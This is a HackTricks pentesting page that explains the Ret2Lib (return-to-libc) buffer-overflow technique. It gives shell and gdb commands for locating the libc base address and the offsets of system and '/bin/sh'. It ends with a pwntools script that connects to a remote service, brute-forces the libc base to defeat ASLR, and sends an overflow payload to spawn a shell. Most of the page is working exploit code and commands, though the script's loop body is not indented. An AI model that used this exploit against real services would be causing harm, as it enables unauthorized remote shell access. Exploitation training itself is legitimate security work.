HackTricks
Search…
Pentesting
Powered By GitBook
Ret2Lib
If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.

If you are inside the host

You can find the address of libc

1
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Copied!
If you want to check if the ASLR is changing the address of libc you can do:
1
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
Copied!

Get offset of system function

1
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
Copied!

Get offset of "/bin/sh"

1
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Copied!

/proc/<PID>/maps

If the process is creating children every time you talk with it (network server) try to read that file (probably you will need to be root).
Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.
In this case it is loaded in 0xb75dc000 (This will be the base address of libc)

Using gdb-peda

Get address of system function, of exit function and of the string "/bin/sh" using gdb-peda:
1
p system
2
p exit
3
find "/bin/sh"
Copied!

Bypassing ASLR

You can try to bruteforce the abse address of libc.
1
for off in range(0xb7000000, 0xb8000000, 0x1000):
Copied!

Code

1
from pwn import *
2
3
c = remote('192.168.85.181',20002)
4
c.recvline() #Banner
5
6
for off in range(0xb7000000, 0xb8000000, 0x1000):
7
p = ""
8
p += p32(off + 0x0003cb20) #system
9
p += "CCCC" #GARBAGE
10
p += p32(off + 0x001388da) #/bin/sh
11
payload = 'A'*0x20010 + p
12
c.send(payload)
13
c.interactive() #?
Copied!
Last modified 2mo ago